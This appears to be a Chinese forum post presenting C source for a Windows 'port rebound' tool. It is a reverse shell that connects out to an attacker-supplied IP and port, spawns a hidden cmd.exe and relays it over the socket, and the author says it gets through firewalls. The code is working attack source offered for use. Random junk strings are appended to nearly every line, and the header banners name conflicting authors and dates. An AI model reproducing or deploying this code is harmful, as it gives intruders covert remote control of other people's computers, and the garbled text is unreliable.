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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GOX2'N\h^  
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/* ============================== gzp]hh@4  
Rebound port in Windows NT if+97^Oy  
By wind,2006/7 b2hXFwPe  
===============================*/ lkb,UL;V  
#include [:l=>yJ{(  
#include KK/siG~O  
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#pragma comment(lib,"wsock32.lib") X>eFGCz}I  
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void OutputShell(); Gyy?cn6_  
SOCKET sClient; Yo,n#<37  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h:r:qk  
f|{&Y2h(R  
void main(int argc,char **argv) kp,$ NfD  
{ b25C[C5C  
WSADATA stWsaData; Wtp;se@#  
int nRet; W<Asr@  
SOCKADDR_IN stSaiClient,stSaiServer; +wm%`N;v<  
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if(argc != 3) Z:>ek>Op  
{ j$r2=~1  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8/W2;>?wKc  
return; mz3Dt>  
} ;<BMgO}N  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?Nl@K/  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y2>AbrJ  
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stSaiClient.sin_family = AF_INET; gLWbd~  
stSaiClient.sin_port = htons(0); ")3$. '5Dg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l  !JTM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~lr,}K,  
{ _O`s;oc  
printf("Bind Socket Failed!\n"); ' -rRD\"q  
return; P u,JR  
} +?GsIp@>jh  
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stSaiServer.sin_family = AF_INET; N"zm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J|DY /v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _kUtj(re  
KKNQ+'?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nRheByYm  
{ \s,~|0_V  
printf("Connect Error!"); $u::(s} x<  
return; mN1n/LNi  
} c{})Z=  
OutputShell(); hfRxZ>O2  
} S H6T\}X:  
i: VMC NH  
void OutputShell() IkgRZ{Y  
{ `4a9<bG  
char szBuff[1024]; v}Kj+9h  
SECURITY_ATTRIBUTES stSecurityAttributes; \y+@mJWa  
OSVERSIONINFO stOsversionInfo; X`fer%`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6~a4-5;>z  
STARTUPINFO stStartupInfo; Pr#uV3\  
char *szShell; }EN-WDJD\  
PROCESS_INFORMATION stProcessInformation; !OMl-:KUzE  
unsigned long lBytesRead; /2:s g1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D[3QQT7c  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S X[  
stSecurityAttributes.lpSecurityDescriptor = 0; h|OWtf4  
stSecurityAttributes.bInheritHandle = TRUE; `"y:/F"{  
@$5= 4HA  
{EyWSf"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?I ;PJj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B1b9 JS(>  
wfQImCZ>l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P$&l1Mp  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }hS$F  
stStartupInfo.wShowWindow = SW_HIDE; O+ xzM[[  
stStartupInfo.hStdInput = hReadPipe; j-7aJj%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8_T9[ ]7V8  
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GetVersionEx(&stOsversionInfo); m Q^SpK #  
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switch(stOsversionInfo.dwPlatformId) O-qpB;|  
{ P5&8^YV`N  
case 1: nt*K@  
szShell = "command.com"; `a9iq>   
break; +w8$-eFY  
default: n {..Q,z  
szShell = "cmd.exe"; tiF-lq  
break; FM<`\ d'  
} ?{wD%58^oG  
?vmoRX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;1q|SmF  
YZ6" s-  
send(sClient,szMsg,77,0); 5>aK4: S/  
while(1) Xx ou1l!  
{ \hg%J/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zB'_YwW  
if(lBytesRead) yBfX4aH:`  
{ $ U-#woXa  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5'n$aFqI  
send(sClient,szBuff,lBytesRead,0); cueaOtD  
} 4X5KrecNr  
else nRs:^Q~o  
{ zE i\#Zg$  
lBytesRead=recv(sClient,szBuff,1024,0); gB]jLe  
if(lBytesRead<=0) break; @]dv   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I !O5+Er  
} !HKW_m^3J  
} UvuA N:'  
bRK\Tua 6  
return; S%jFH4#  
}
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